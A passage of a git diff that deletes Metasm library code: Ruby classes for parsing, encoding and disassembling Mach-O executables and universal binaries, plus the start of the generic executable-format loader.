'WEAK_DEFINES', - 0x10000 => 'BINDS_TO_WEAK', 0x20000 => 'ALLOW_STACK_EXECUTION', 0x200000 => 'MH_PIE', - } - - SEG_PROT = { 1 => 'READ', 2 => 'WRITE', 4 => 'EXECUTE' } - - LOAD_COMMAND = { - 0x1 => 'SEGMENT', 0x2 => 'SYMTAB', 0x3 => 'SYMSEG', 0x4 => 'THREAD', - 0x5 => 'UNIXTHREAD', 0x6 => 'LOADFVMLIB', 0x7 => 'IDFVMLIB', 0x8 => 'IDENT', - 0x9 => 'FVMFILE', 0xa => 'PREPAGE', 0xb => 'DYSYMTAB', 0xc => 'LOAD_DYLIB', - 0xd => 'ID_DYLIB', 0xe => 'LOAD_DYLINKER', 0xf => 'ID_DYLINKER', 0x10 => 'PREBOUND_DYLIB', - 0x11 => 'ROUTINES', 0x12 => 'SUB_FRAMEWORK', 0x13 => 'SUB_UMBRELLA', 0x14 => 'SUB_CLIENT', - 0x15 => 'SUB_LIBRARY', 0x16 => 'TWOLEVEL_HINTS', 0x17 => 'PREBIND_CKSUM', - 0x8000_0018 => 'LOAD_WEAK_DYLIB', 0x19 => 'SEGMENT_64', 0x1a => 'ROUTINES_64', - 0x1b => 'UUID', 0x8000_001c => 'RPATH', 0x1d => 'CODE_SIGNATURE_PTR', 0x1e => 'CODE_SEGMENT_SPLIT_INFO', - 0x21 => 'ENCRYPTION_INFO', - 0x8000_001f => 'REEXPORT_DYLIB', - #0x8000_0000 => 'REQ_DYLD', - } - - THREAD_FLAVOR = { - 'POWERPC' => { - 1 => 'THREAD_STATE', - 2 => 'FLOAT_STATE', - 3 => 'EXCEPTION_STATE', - 4 => 'VECTOR_STATE' - }, - 'I386' => { - 1 => 'NEW_THREAD_STATE', - 2 => 'FLOAT_STATE', - 3 => 'ISA_PORT_MAP_STATE', - 4 => 'V86_ASSIST_STATE', - 5 => 'REGS_SEGS_STATE', - 6 => 'THREAD_SYSCALL_STATE', - 7 => 'THREAD_STATE_NONE', - 8 => 'SAVED_STATE', - -1 & 0xffffffff => 'THREAD_STATE', - -2 & 0xffffffff => 'THREAD_FPSTATE', - -3 & 0xffffffff => 'THREAD_EXCEPTSTATE', - -4 & 0xffffffff => 'THREAD_CTHREADSTATE' - } - } - - SYM_SCOPE = { 0 => 'LOCAL', 1 => 'GLOBAL' } - SYM_TYPE = { 0 => 'UNDF', 2/2 => 'ABS', 0xa/2 => 'INDR', 0xe/2 => 'SECT', 0x1e/2 => 'TYPE' } - SYM_STAB = { } - IND_SYM_IDX = { 0x4000_0000 => 'INDIRECT_SYMBOL_ABS', 0x8000_0000 => 'INDIRECT_SYMBOL_LOCAL' } - - GENERIC_RELOC = { 0 => 'VANILLA', 1 => 'PAIR', 2 => 'SECTDIFF', 3 => 'LOCAL_SECTDIFF', 4 => 'PB_LA_PTR' } - - SEC_TYPE = { - 0 => 'REGULAR', 1 => 'ZEROFILL', 2 => 'CSTRING_LITERALS', 3 => '4BYTE_LITERALS', - 4 => '8BYTE_LITERALS', 5 => 'LITERAL_POINTERS', 6 => 'NON_LAZY_SYMBOL_POINTERS', - 7 => 'LAZY_SYMBOL_POINTERS', 8 => 'SYMBOL_STUBS', 9 => 'MOD_INIT_FUNC_POINTERS' - } - - class SerialStruct < Metasm::SerialStruct - new_int_field :xword - end - - class Header < SerialStruct - mem :magic, 4 - decode_hook { |m, h| - case h.magic - when MAGIC; m.size = 32 ; m.endianness = :big - when CIGAM; m.size = 32 ; m.endianness = :little - when MAGIC64; m.size = 64 ; m.endianness = :big - when CIGAM64; m.size = 64 ; m.endianness = :little - else raise InvalidExeFormat, "Invalid Mach-O signature #{h.magic.unpack('H*').first.inspect}" - end - } - word :cputype - bitfield :word, 0 => :cpusubtype, 24 => :cpusubtypeflag - words :filetype, :ncmds, :sizeofcmds, :flags - fld_enum :cputype, CPU - fld_enum(:cpusubtype) { |m, h| SUBCPU[h.cputype] || {} } - fld_bits :cpusubtypeflag, SUBCPUFLAG - fld_enum :filetype, FILETYPE - fld_bits :flags, FLAGS - attr_accessor :reserved # word 64bit only - - def set_default_values(m) - @magic ||= case [m.size, m.endianness] - when [32, :big]; MAGIC - when [32, :little]; CIGAM - when [64, :big]; MAGIC64 - when [64, :little]; CIGAM64 - end - @cpusubtype ||= 'ALL' - @filetype ||= 'EXECUTE' - @ncmds ||= m.commands.length - @sizeofcmds ||= m.new_label('sizeofcmds') - super(m) - end - - def decode(m) - super(m) - @reserved = m.decode_word if m.size == 64 - end - end - - class LoadCommand < SerialStruct - words :cmd, :cmdsize - fld_enum :cmd, LOAD_COMMAND - attr_accessor :data - - def decode(m) - super(m) - ptr = m.encoded.ptr - if @cmd.kind_of?(String) and self.class.constants.map { |c| c.to_s }.include?(@cmd) - @data = self.class.const_get(@cmd).decode(m) - end - m.encoded.ptr = ptr + @cmdsize - 8 - end - - def set_default_values(m) - @cmd ||= data.class.name.sub(/.*::/, '') - @cmdsize ||= 'cmdsize' - super(m) - end - - def encode(m) - ed = super(m) - ed << @data.encode(m) if @data - ed.align(m.size >> 3) - ed.fixup! @cmdsize => ed.length if @cmdsize.kind_of? String - ed - end - - - class UUID < SerialStruct - mem :uuid, 16 - end - - class SEGMENT < SerialStruct - str :name, 16 - xwords :virtaddr, :virtsize, :fileoff, :filesize - words :maxprot, :initprot, :nsects, :flags - fld_bits :maxprot, SEG_PROT - fld_bits :initprot, SEG_PROT - attr_accessor :sections, :encoded - - def decode(m) - super(m) - @sections = [] - @nsects.times { @sections << SECTION.decode(m, self) } - end - - def set_default_values(m) - # TODO (in the caller?) @encoded = @sections.map { |s| s.encoded }.join - @virtaddr ||= m.new_label('virtaddr') - @virtsize ||= @encoded.length - @fileoff ||= m.new_label('fileoff') - @filesize ||= @encoded.rawsize - @sections ||= [] - @nsects ||= @sections.length - @maxprot ||= %w[READ WRITE EXECUTE] - @initprot ||= %w[READ] - super(m) - end - - def encode(m) - ed = super(m) # need to call set_default_values before using @sections - @sections.inject(ed) { |ed_, s| ed_ << s.encode(m) } - end - end - SEGMENT_64 = SEGMENT - - class SECTION < SerialStruct - str :name, 16 - str :segname, 16 - xwords :addr, :size - words :offset, :align, :reloff, :nreloc - bitfield :word, 0 => :type, 8 => :attributes_sys, 24 => :attributes_usr - words :res1, :res2 - fld_enum :type, SEC_TYPE - attr_accessor :res3 # word 64bit only - attr_accessor :segment, :encoded - - def decode(m, s) - super(m) - @res3 = m.decode_word if m.size == 64 - @segment = s - end - - def set_default_values(m) - @segname ||= @segment.name - # addr, offset, etc = @segment.virtaddr + 42 - super(m) - end - end - SECTION_64 = SECTION - - class SYMTAB < SerialStruct - words :symoff, :nsyms, :stroff, :strsize - end - - class DYSYMTAB < SerialStruct - words :ilocalsym, :nlocalsym, :iextdefsym, :nextdefsym, :iundefsym, :nundefsym, - :tocoff, :ntoc, :modtaboff, :nmodtab, :extrefsymoff, :nextrefsyms, - :indirectsymoff, :nindirectsyms, :extreloff, :nextrel, :locreloff, :nlocrel - end - - class THREAD < SerialStruct - words :flavor, :count - fld_enum(:flavor) { |m, t| THREAD_FLAVOR[m.header.cputype] || {} } - attr_accessor :ctx - - def entrypoint(m) - @ctx ||= {} - case m.header.cputype - when 'I386'; @ctx[:eip] - when 'X86_64'; @ctx[:rip] - when 'POWERPC'; @ctx[:srr0] - when 'ARM'; @ctx[:pc] - end - end - - def set_entrypoint(m, ep) - @ctx ||= {} - case m.header.cputype - when 'I386'; @ctx[:eip] = ep - when 'X86_64'; @ctx[:rip] = ep - when 'POWERPC'; @ctx[:srr0] = ep - when 'ARM'; @ctx[:pc] = ep - end - end - - def ctx_keys(m) - case m.header.cputype - when 'I386'; %w[eax ebx ecx edx edi esi ebp esp ss eflags eip cs ds es fs gs] - when 'X86_64'; %w[rax rbx rcx rdx rdi rsi rbp rsp r8 r9 r10 r11 r12 r13 r14 r15 rip rflags cs fs gs] - when 'POWERPC'; %w[srr0 srr1 r0 r1 r2 r3 r4 r5 r6 r7 r8 r9 r10 r11 r12 r13 r14 r15 r16 r17 r18 r19 r20 r21 r22 r23 r24 r25 r26 r27 r28 r29 r30 r31 cr xer lr ctr mq vrsave] - when 'ARM'; %w[r0 r1 r2 r3 r4 r5 r6 r7 r8 r9 r10 r11 r12 sp lr pc] - else [*1..@count].map { |i| "r#{i}" } - end.map { |k| k.to_sym } - end - - def decode(m) - super(m) - @ctx = ctx_keys(m)[0, @count].inject({}) { |ctx, r| ctx.update r => m.decode_xword } - end - - def set_default_values(m) - @ctx ||= {} - ctx_keys(m).each { |k| @ctx[k] ||= 0 } - @count ||= @ctx.length - super(m) - end - - def encode(m) - ctx_keys(m).inject(super(m)) { |ed, r| ed << m.encode_word(@ctx[r]) } - end - end - UNIXTHREAD = THREAD - - class STRING < SerialStruct - word :stroff - attr_accessor :str - - def decode(m) - ptr = m.encoded.ptr - super(m) - ptr = m.encoded.ptr = ptr + @stroff - 8 - @str = m.decode_strz - end - end - - class DYLIB < STRING - word :stroff - words :timestamp, :cur_version, :compat_version - end - LOAD_DYLIB = DYLIB - ID_DYLIB = DYLIB - LOAD_WEAK_DYLIB = DYLIB - - class PREBOUND_DYLIB < STRING - word :stroff - word :nmodules - word :linked_modules - end - - LOAD_DYLINKER = STRING - ID_DYLINKER = STRING - - class ENCRYPTION_INFO < SerialStruct - words :cryptoff, :cryptsize, :cryptid - end - - class ROUTINES < SerialStruct - xwords :init_addr, :init_module, :res1, :res2, :res3, :res4, :res5, :res6 - end - ROUTINES_64 = ROUTINES - - class TWOLEVEL_HINTS < SerialStruct - words :offset, :nhints - end - class TWOLEVEL_HINT < SerialStruct - bitfield :word, 0 => :isub_image, 8 => :itoc - end - - SUB_FRAMEWORK = STRING - SUB_UMBRELLA = STRING - SUB_LIBRARY = STRING - SUB_CLIENT = STRING - - class CODE_SIGNATURE_PTR < SerialStruct - word :offset - word :size - attr_accessor :codesig - - def decode(m) - ptr = m.encoded.ptr - super(m) - m.encoded.ptr = @offset - @codesig = CODE_SIGNATURE.decode(m) - m.encoded.ptr = ptr + @size - end - end - end - - class CODE_SIGNATURE < SerialStruct - word :magic - word :size - word :count - attr_accessor :slots - - def decode(m) - cs_base = m.encoded.ptr - e = m.endianness - m.endianness = :big - - super(m) - @slots = [] - @count.times { @slots << CS_SLOT_PTR.decode(m, cs_base) } - m.endianness = e - end - end - - class CS_SLOT_PTR < SerialStruct - word :type - word :offset - attr_accessor :body - - def decode(m, cs_base) - super(m) - ptr = m.encoded.ptr - m.encoded.ptr = cs_base + @offset - - if @type == 0 - @body = CS_CODE_DIRECTORY.decode(m) - else - @body = CS_SLOT.decode(m) - end - m.encoded.ptr = ptr - end - end - - class CS_SLOT < SerialStruct - word :magic - word :size - attr_accessor :data - - def decode(m) - super(m) - @data = m.encoded.read(@size) - end - end - - class CS_CODE_DIRECTORY < SerialStruct - words :magic, :size, :version - mem :unk1, 4 - word :hash_offset - word :name_offset - word :special_page_count - word :code_page_count - mem :unk3, 8 - attr_accessor :name, :cs_slots_hash, :code_hash - - def decode(m) - super(m) - ptr = m.encoded.ptr - - m.encoded.ptr += @name_offset - 40 - @name = m.decode_strz - @cs_slots_hash = m.encoded.read(@special_page_count * 20) - - m.encoded.ptr = ptr + @hash_offset - 40 - @code_hash = m.encoded.read(@size - @hash_offset) - - m.encoded.ptr = ptr - end - end - - class Symbol < SerialStruct - word :nameoff - bitfield :byte, 0 => :scope, 1 => :type, 5 => :stab - fld_enum :scope, SYM_SCOPE - fld_enum :type, SYM_TYPE - fld_enum :stab, SYM_STAB - byte :sect - half :desc - xword :value - attr_accessor :name - - def decode(m, buf=nil) - super(m) - idx = buf.index(?\0, @nameoff) if buf - @name = @name = buf[@nameoff..idx-1] if idx - end - end - - class Relocation < SerialStruct - word :address - bitfield :word, 0 => :symbolnum, 24 => :pcrel, 25 => :length, 27 => :extern, 28 => :type - fld_enum :type, GENERIC_RELOC - end - - def encode_byte(val) Expression[val].encode( :u8, @endianness) end - def encode_half(val) Expression[val].encode(:u16, @endianness) end - def encode_word(val) Expression[val].encode(:u32, @endianness) end - def encode_xword(val) Expression[val].encode((@size == 32 ? :u32 : :u64), @endianness) end - def decode_byte(edata = @encoded) edata.decode_imm( :u8, @endianness) end - def decode_half(edata = @encoded) edata.decode_imm(:u16, @endianness) end - def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end - def decode_xword(edata= @encoded) edata.decode_imm((@size == 32 ? :u32 : :u64), @endianness) end - def sizeof_byte ; 1 ; end - def sizeof_half ; 2 ; end - def sizeof_word ; 4 ; end - def sizeof_xword ; @size == 32 ? 4 : 8 ; end - - - attr_accessor :endianness, :size - attr_accessor :header, :source - attr_accessor :segments - attr_accessor :commands - attr_accessor :symbols - attr_accessor :relocs - - def initialize(cpu=nil) - super(cpu) - @endianness ||= cpu ? cpu.endianness : :little - @size ||= cpu ? cpu.size : 32 - @header = Header.new - @commands = [] - @segments = [] - end - - # decodes the Mach header from the current offset in self.encoded - def decode_header - @header.decode self - @header.ncmds.times { @commands << LoadCommand.decode(self) } - @commands.each { |cmd| - e = cmd.data - case cmd.cmd - when 'SEGMENT', 'SEGMENT_64'; @segments << e - end - } - end - - def decode - decode_header - @segments.each { |s| decode_segment(s) } - decode_symbols - decode_relocations - end - - # return the segment containing address, set seg.encoded.ptr to the correct offset - def segment_at(addr) - return if not addr or addr <= 0 - if seg = @segments.find { |seg_| addr >= seg_.virtaddr and addr < seg_.virtaddr + seg_.virtsize } - seg.encoded.ptr = addr - seg.virtaddr - seg - end - end - - def addr_to_fileoff(addr) - s = @segments.find { |s_| s_.virtaddr <= addr and s_.virtaddr + s_.virtsize > addr } if addr - addr - s.virtaddr + s.fileoff if s - end - - def fileoff_to_addr(foff) - if s = @segments.find { |s_| s_.fileoff <= foff and s_.fileoff + s_.filesize > foff } - s.virtaddr + module_address + foff - s.fileoff - end - end - - def module_address - @segments.map { |s_| s_.virtaddr }.min || 0 - end - - def module_size - return 0 if not sz = @segments.map { |s_| s_.virtaddr + s_.virtsize }.max - sz - module_address - end - - def decode_symbols - @symbols = [] - ep_count = 0 - @commands.each { |cmd| - e = cmd.data - case cmd.cmd - when 'SYMTAB' - @encoded.ptr = e.stroff - buf = @encoded.read e.strsize - @encoded.ptr = e.symoff - e.nsyms.times { @symbols << Symbol.decode(self, buf) } - when 'THREAD', 'UNIXTHREAD' - ep_count += 1 - ep = cmd.data.entrypoint(self) - next if not seg = segment_at(ep) - seg.encoded.add_export("entrypoint#{"_#{ep_count}" if ep_count >= 2 }") - end - } - @symbols.each { |s| - next if s.value == 0 or not s.name - next if not seg = segment_at(s.value) - seg.encoded.add_export(s.name) - } - end - - def decode_relocations - @relocs = [] - indsymtab = [] - @commands.each { |cmd| - if cmd.cmd == 'DYSYMTAB' - @encoded.ptr = cmd.data.extreloff - cmd.data.nextrel.times { @relocs << Relocation.decode(self) } - @encoded.ptr = cmd.data.locreloff - cmd.data.nlocrel.times { @relocs << Relocation.decode(self) } - @encoded.ptr = cmd.data.indirectsymoff - cmd.data.nindirectsyms.times { indsymtab << decode_word } - end - } - @segments.each { |seg| - seg.sections.each { |sec| - @encoded.ptr = sec.reloff - sec.nreloc.times { @relocs << Relocation.decode(self) } - - case sec.type - when 'NON_LAZY_SYMBOL_POINTERS', 'LAZY_SYMBOL_POINTERS' - edata = seg.encoded - off = sec.offset - seg.fileoff - (sec.size / 4).times { |i| - sidx = indsymtab[sec.res1+i] - case IND_SYM_IDX[sidx] - when 'INDIRECT_SYMBOL_LOCAL' # base reloc: add delta from prefered image base - edata.ptr = off - addr = decode_word(edata) - if s = segment_at(addr) - label = label_at(s.encoded, s.encoded.ptr, "xref_#{Expression[addr]}") - seg.encoded.reloc[off] = Metasm::Relocation.new(Expression[label], :u32, @endianness) - end - when 'INDIRECT_SYMBOL_ABS' # nothing - else - sym = @symbols[sidx] - seg.encoded.reloc[off] = Metasm::Relocation.new(Expression[sym.name], :u32, @endianness) - end - off += 4 - } - when 'SYMBOL_STUBS' - # TODO next unless arch == 386 and sec.attrs & SELF_MODIFYING_CODE and sec.res2 == 5 - - edata = seg.encoded - edata.data = edata.data.to_str.dup - off = sec.offset - seg.fileoff + 1 - (sec.size / 5).times { |i| - sidx = indsymtab[sec.res1+i] - case IND_SYM_IDX[sidx] - when 'INDIRECT_SYMBOL_LOCAL' # base reloc: add delta from prefered image base - edata.ptr = off - addr = decode_word(edata) - if s = segment_at(addr) - label = label_at(s.encoded, s.encoded.ptr, "xref_#{Expression[addr]}") - seg.encoded.reloc[off] = Metasm::Relocation.new(Expression[label, :-, Expression[seg.virtaddr, :+, off+4].reduce], :u32, @endianness) - end - when 'INDIRECT_SYMBOL_ABS' # nothing - else - seg.encoded[off-1] = 0xe9 - sym = @symbols[sidx] - seg.encoded.reloc[off] = Metasm::Relocation.new(Expression[sym.name, :-, Expression[seg.virtaddr, :+, off+4].reduce], :u32, @endianness) - end - off += 5 - } - - end - } - } - seg = nil - @relocs.each { |r| - if r.extern == 1 - sym = @symbols[r.symbolnum] - seg = @segments.find { |sg| sg.virtaddr <= r.address and sg.virtaddr + sg.virtsize > r.address } unless seg and seg.virtaddr <= r.address and seg.virtaddr + seg.virtsize > r.address - if not seg - puts "macho: reloc to unmapped space #{r.inspect} #{sym.inspect}" if $VERBOSE - next - end - seg.encoded.reloc[r.address - seg.virtaddr] = Metasm::Relocation.new(Expression[sym.name], :u32, @endianness) - end - } - end - - def decode_segment(s) - @encoded.add_export(s.name, s.fileoff) - s.encoded = @encoded[s.fileoff, s.filesize] - s.encoded.virtsize = s.virtsize - s.sections.each { |ss| - ss.encoded = @encoded[ss.offset, ss.size] - s.encoded.add_export(ss.name, ss.offset - s.fileoff) - } - end - - def each_section(&b) - @segments.each { |s| yield s.encoded, s.virtaddr } - end - - def section_info - ret = [] - @segments.each { |seg| - ret.concat seg.sections.map { |s| [s.name, s.addr, s.size, s.type] } - } - ret - end - - def init_disassembler - d = super() - case @cpu.shortname - when 'ia32', 'x64' - old_cp = d.c_parser - d.c_parser = nil - d.parse_c <<EOC -void *dlsym(int, char *); // has special callback -// standard noreturn, optimized by gcc -void __attribute__((noreturn)) exit(int); -void abort(void) __attribute__((noreturn)); -EOC - d.function[Expression['_dlsym']] = d.function[Expression['dlsym']] = dls = @cpu.decode_c_function_prototype(d.c_parser, 'dlsym') - d.function[Expression['_exit']] = d.function[Expression['exit']] = @cpu.decode_c_function_prototype(d.c_parser, 'exit') - d.function[Expression['abort']] = @cpu.decode_c_function_prototype(d.c_parser, 'abort') - d.c_parser = old_cp - - dls.btbind_callback = lambda { |dasm, bind, funcaddr, calladdr, expr, origin, maxdepth| - sz = @cpu.size/8 - raise 'dlsym call error' if not dasm.decoded[calladdr] - if @cpu.shortname == 'x64' - arg2 = :rsi - else - arg2 = Indirection.new(Expression[:esp, :+, 2*sz], sz, calladdr) - end - fnaddr = dasm.backtrace(arg2, calladdr, :include_start => true, :maxdepth => maxdepth) - if fnaddr.kind_of?(::Array) and fnaddr.length == 1 and s = dasm.decode_strz(fnaddr.first, 64) and s.length > sz - bind = bind.merge @cpu.register_symbols[0] => Expression[s] - end - bind - } - - df = d.function[:default] = @cpu.disassembler_default_func - df.backtrace_binding[@cpu.register_symbols[4]] = Expression[@cpu.register_symbols[4], :+, @cpu.size/8] - df.btbind_callback = nil - end - d - end - - def get_default_entrypoints - @commands.find_all { |cmd| cmd.cmd == 'THREAD' or cmd.cmd == 'UNIXTHREAD' }.map { |cmd| cmd.data.entrypoint(self) } - end - - def cpu_from_headers - case @header.cputype - when 'I386'; Ia32.new - when 'X86_64'; X86_64.new - when 'POWERPC'; PowerPC.new - when 'ARM'; ARM.new - else raise "unsupported cpu #{@header.cputype}" - end - end - - def encode(type=nil) - @encoded = EncodedData.new - - init_header_cpu - - if false and maybeyoureallyneedthis - segz = LoadCommand::SEGMENT.new - segz.name = '__PAGEZERO' - segz.encoded = EncodedData.new - segz.encoded.virtsize = 0x1000 - segz.initprot = segz.maxprot = 0 - @segments.unshift segz - end - - # TODO sections -> segments - @segments.each { |seg| - cname = (@size == 64 ? 'SEGMENT_64' : 'SEGMENT') - if not @commands.find { |cmd| cmd.cmd == cname and cmd.data == seg } - cmd = LoadCommand.new - cmd.cmd = cname - cmd.data = seg - @commands << cmd - end - } - - binding = {} - @encoded << @header.encode(self) - - first = @segments.find { |seg| seg.encoded.rawsize > 0 } - - first.virtsize = new_label('virtsize') - first.filesize = new_label('filesize') - - hlen = @encoded.length - @commands.each { |cmd| @encoded << cmd.encode(self) } - binding[@header.sizeofcmds] = @encoded.length - hlen if @header.sizeofcmds.kind_of? String - - # put header in first segment - first.encoded = @encoded << first.encoded - - @encoded = EncodedData.new - - addr = @encoded.length - @segments.each { |seg| - seg.encoded.align 0x1000 - binding[seg.virtaddr] = addr - binding[seg.virtsize] = seg.encoded.length if seg.filesize.kind_of? String - binding[seg.fileoff] = @encoded.length - binding[seg.filesize] = seg.encoded.rawsize if seg.filesize.kind_of? String - binding.update seg.encoded.binding(addr) - @encoded << seg.encoded[0, seg.encoded.rawsize] - @encoded.align 0x1000 - addr += seg.encoded.length - } - - @encoded.fixup! binding - @encoded.data - end - - def parse_init - # allow the user to specify a section, falls back to .text if none specified - if not defined? @cursource or not @cursource - @cursource = Object.new - class << @cursource - attr_accessor :exe - def <<(*a) - t = Preprocessor::Token.new(nil) - t.raw = '.text' - exe.parse_parser_instruction t - exe.cursource.send(:<<, *a) - end - end - @cursource.exe = self - end - - @source ||= {} - - init_header_cpu # for '.entrypoint' - - super() - end - - def init_header_cpu - @header.cputype ||= case @cpu.shortname - when 'ia32'; 'I386' - when 'x64'; 'X86_64' - when 'powerpc'; 'POWERPC' - when 'arm'; 'ARM' - end - end - - # handles macho meta-instructions - # - # syntax: - # .section "<name>" [<perms>] - # change current section (where normal instruction/data are put) - # perms = list of 'r' 'w' 'x', may be prefixed by 'no' - # shortcuts: .text .data .rodata .bss - # .entrypoint [<label>] - # defines the program entrypoint to the specified label / current location - # - def parse_parser_instruction(instr) - readstr = lambda { - @lexer.skip_space - t = nil - raise instr, "string expected, found #{t.raw.inspect if t}" if not t = @lexer.readtok or (t.type != :string and t.type != :quoted) - t.value || t.raw - } - check_eol = lambda { - @lexer.skip_space - t = nil - raise instr, "eol expected, found #{t.raw.inspect if t}" if t = @lexer.nexttok and t.type != :eol - } - - case instr.raw.downcase - when '.text', '.data', '.rodata', '.bss' - sname = instr.raw.upcase.sub('.', '__') - if not @segments.find { |s| s.kind_of? LoadCommand::SEGMENT and s.name == sname } - s = LoadCommand::SEGMENT.new - s.name = sname - s.encoded = EncodedData.new - s.initprot = case sname - when '__TEXT'; %w[READ EXECUTE] - when '__DATA', '__BSS'; %w[READ WRITE] - when '__RODATA'; %w[READ] - end - s.maxprot = %w[READ WRITE EXECUTE] - @segments << s - end - @cursource = @source[sname] ||= [] - check_eol[] if instr.backtrace # special case for magic @cursource - - when '.section' - # .section <section name|"section name"> [(no)wxalloc] [base=<expr>] - sname = readstr[] - if not s = @segments.find { |s_| s_.name == sname } - s = LoadCommand::SEGMENT.new - s.name = sname - s.encoded = EncodedData.new - s.initprot = %w[READ] - s.maxprot = %w[READ WRITE EXECUTE] - @segments << s - end - loop do - @lexer.skip_space - break if not tok = @lexer.nexttok or tok.type != :string - case @lexer.readtok.raw.downcase - when /^(no)?(r)?(w)?(x)?$/ - ar = [] - ar << 'READ' if $2 - ar << 'WRITE' if $3 - ar << 'EXECINSTR' if $4 - if $1; s.initprot -= ar - else s.initprot |= ar - end - else raise instr, 'unknown specifier' - end - end - @cursource = @source[sname] ||= [] - check_eol[] - - when '.entrypoint' # XXX thread-specific - # ".entrypoint <somelabel/expression>" or ".entrypoint" (here) - @lexer.skip_space - if tok = @lexer.nexttok and tok.type == :string - raise instr if not entrypoint = Expression.parse(@lexer) - else - entrypoint = new_label('entrypoint') - @cursource << Label.new(entrypoint, instr.backtrace.dup) - end - if not cmd = @commands.find { |cmd_| cmd_.cmd == 'THREAD' or cmd_.cmd == 'UNIXTHREAD' } - cmd = LoadCommand.new - cmd.cmd = 'UNIXTHREAD' # UNIXTHREAD creates a stack - cmd.data = LoadCommand::THREAD.new - cmd.data.ctx = {} - cmd.data.flavor = 'NEW_THREAD_STATE' # XXX i386 specific - @commands << cmd - end - cmd.data.set_entrypoint(self, entrypoint) - check_eol[] - - else super(instr) - end - end - - # assembles the hash self.source to a section array - def assemble(*a) - parse(*a) if not a.empty? - @source.each { |k, v| - raise "no segment named #{k} ?" if not s = @segments.find { |s_| s_.name == k } - s.encoded << assemble_sequence(v, @cpu) - v.clear - } - end -end -MACHO = MachO - - - -class UniversalBinary < ExeFormat - MAGIC = "\xca\xfe\xba\xbe" # 0xcafebabe - - class Header < SerialStruct - mem :magic, 4 - word :nfat_arch - - def decode(u) - super(u) - raise InvalidExeFormat, "Invalid UniversalBinary signature #{@magic.unpack('H*').first.inspect}" if @magic != MAGIC - end - end - class FatArch < SerialStruct - words :cputype, :subcpu, :offset, :size, :align - fld_enum :cputype, MachO::CPU - fld_enum(:subcpu) { |x, a| MachO::SUBCPU[a.cputype] || {} } - attr_accessor :encoded - end - - def encode_word(val) Expression[val].encode(:u32, @endianness) end - def decode_word(edata = @encoded) edata.decode_imm(:u32, @endianness) end - def sizeof_word ; 4 ; end - - attr_accessor :endianness, :encoded, :header, :archive - def initialize - @endianness = :big - super() - end - - def decode - @header = Header.decode(self) - @archive = [] - @header.nfat_arch.times { @archive << FatArch.decode(self) } - @archive.each { |a| - a.encoded = @encoded[a.offset, a.size] || EncodedData.new - } - end - - def [](i) AutoExe.decode(@archive[i].encoded) if @archive[i] end - def <<(exe) @archive << exe end - - def self.autoexe_load(*a) - ub = super(*a) - ub.decode - # TODO have a global callback or whatever to prompt the user - # which file he wants to load in the dasm - puts "UniversalBinary: using 1st archive member" if $VERBOSE - AutoExe.load(ub.archive[0].encoded) - end - -end -end diff --git a/lib/metasm/metasm/exe_format/main.rb b/lib/metasm/metasm/exe_format/main.rb deleted file mode 100644 index 3f47ab793f..0000000000 --- a/lib/metasm/metasm/exe_format/main.rb +++ /dev/null @@ -1,251 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/parse' -require 'metasm/encode' -require 'metasm/decode' -require 'metasm/exe_format/serialstruct' -require 'metasm/os/main' # VirtualFile - -module Metasm -class ExeFormat - # creates a new instance, populates self.encoded with the supplied string - def self.load(str, *a, &b) - e = new(*a, &b) - if str.kind_of?(EncodedData); e.encoded = str - else e.encoded << str - end - e - end - - # same as load, used by AutoExe - def self.autoexe_load(*x, &b) - load(*x, &b) - end - - attr_accessor :filename - - # same as +load+, but from a file - # uses VirtualFile if available - def self.load_file(path, *a, &b) - e = load(VirtualFile.read(path), *a, &b) - e.filename ||= path - e - end - - # +load_file+ then decode - def self.decode_file(path, *a, &b) - e = load_file(path, *a, &b) - e.decode if not e.instance_variables.map { |iv| iv.to_s }.include?("@disassembler") - e - end - - # +load_file+ then decode header - def self.decode_file_header(path, *a, &b) - e = load_file(path, *a, &b) - e.decode_header - e - end - - def self.decode(raw, *a, &b) - e = load(raw, *a, &b) - e.decode - e - end - - def self.decode_header(raw, *a, &b) - e = load(raw, *a, &b) - e.decode_header - e - end - - def load(str) - if str.kind_of?(EncodedData); @encoded = str - else @encoded << str - end - self - end - - def load_file(path) - @filename ||= path - load(VirtualFile.read(path)) - end - - def decode_file(path) - load_file(path) - decode - self - end - - def decode_file_header(path) - load_file(path) - decode_header - self - end - - # creates a new object using the specified cpu, parses the asm source, and assemble - def self.assemble(cpu, source, file='<unk>', lineno=1) - source, cpu = cpu, source if source.kind_of? CPU - e = new(cpu) - e.assemble(source, file, lineno) - e - end - - # same as #assemble, reads asm source from the specified file - def self.assemble_file(cpu, filename) - filename, cpu = cpu, filename if filename.kind_of? CPU - assemble(cpu, File.read(filename), filename, 1) - end - - # parses a bunch of standalone C code, compile and assemble it - def compile_c(source, file='<unk>', lineno=1) - cp = @cpu.new_cparser - tune_cparser(cp) - cp.parse(source, file, lineno) - read_c_attrs cp if respond_to? :read_c_attrs - asm_source = @cpu.new_ccompiler(cp, self).compile - puts asm_source if $DEBUG - assemble(asm_source, 'C compiler output', 1) - c_set_default_entrypoint - end - - # creates a new object using the specified cpu, parse/compile/assemble the C source - def self.compile_c(cpu, source, file='<unk>', lineno=1) - source, cpu = cpu, source if source.kind_of? CPU - e = new(cpu) - e.compile_c(source, file, lineno) - e - end - - def self.compile_c_file(cpu, filename) - filename, cpu = cpu, filename if filename.kind_of? CPU - compile_c(cpu, File.read(filename), filename, 1) - end - - # add directive to change the current assembler section to the assembler source +src+ - def compile_setsection(src, section) - src << section - end - - # prepare a preprocessor before it reads any source, should define macros to identify the fileformat - def tune_prepro(l) - end - - # prepare a cparser - def tune_cparser(cp) - tune_prepro(cp.lexer) - end - - # this is called once C code is parsed, to handle C attributes like export/import/init etc - def read_c_attrs(cp) - end - - # should setup a default entrypoint for C code, including preparing args for main() etc - def c_set_default_entrypoint - end - - attr_writer :disassembler # custom reader - def disassembler - @disassembler ||= init_disassembler - end - - # returns the exe disassembler - # if it does not exist, creates one, and feeds it with the exe sections - def init_disassembler - @disassembler ||= Disassembler.new(self) - @disassembler.cpu ||= cpu - each_section { |edata, base| - edata ||= EncodedData.new - @disassembler.add_section edata, base - } - @disassembler - end - - # disassembles the specified entrypoints - # initializes the disassembler if needed - # uses get_default_entrypoints if the argument list is empty - # returns the disassembler - def disassemble(*entrypoints) - entrypoints = get_default_entrypoints if entrypoints.empty? - disassembler.disassemble(*entrypoints) - 